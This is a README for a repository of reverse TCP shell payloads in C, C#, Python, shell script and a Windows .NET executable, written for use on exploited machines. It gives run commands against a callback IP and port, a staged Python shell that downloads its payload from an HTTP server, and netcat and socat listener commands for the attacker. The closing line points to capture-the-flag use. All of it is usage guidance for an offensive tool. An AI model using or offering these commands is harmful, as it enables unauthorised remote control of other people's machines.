Reverse-Shell-Lib

The following repository contains multiple versions of a reverse tcp netcat shell for use on exploited POSIX or WIN machines

C Reverse Shell (POSIX ONLY)

In order to use this shell it must be compiled with the following command

gcc reverse_tcp.c -o reverse_tcp

It may then be called by:

./reverse_tcp [callback_ip] [port]

C# Reverse Shell (POSIX ONLY)

If dotnet is installed on the system you may use the C# program

In order to use this shell it must be compiled with the following command

dotnet build reverse_tcp.cs

It may then be called by:

./reverse_tcp [callback_ip] [port]

Python Reverse Shell (POSIX ONLY)

If python3 is on the system you may use the reverse_tcp.py script

Simply call it with the following command:

python3 reverse_tcp.py [callback_ip] [port]

Staged Python Shell (POSIX ONLY)

If you wish to run a staged shell you must first host the "reverse_tcp.py" payload on a HTTP server and you must configure its default callback address

to call a staged shell run the following command:

python3 reverse_tcp_staged.py http://[HTTPSERVER]/[route to reverse_tcp.py]

Shell Script Reverse Shell (POSIX ONLY)

This should be the most effective as it should run on all targets and is in fact the smallest payload

Simply chmod it and call it like so:

./reverse_tcp.sh [callback_ip] [port]

Windows Reverse Powershell (WIN ONLY)

Since none of the other methods work on windows the reverse_tcp.exe is a .NET executable with the same ease of use as the others

To run this on a target simply run it from the command line like so:

.\reverse_tcp.exe [callback_ip] [port]

Attacker Listener

These reverse shells were all written for ease of use, attackers can open a simple netcat or socat listener to receive the payloads

Netcat:

nc -nvlp [port]

Socat:

socat -d -d TCP4-LISTEN:[port] STDOUT

A note for these is they will only work for the POSIX payloads

In order to listen for the Windows payload the command has to be slightly tweaked

Windows Listener:

stty raw -echo; (stty size; cat) | nc -nvlp [port]

Note: this will wreck your shells sizing so start a new window for each use

Now start looking for those flags happy hacking! XD
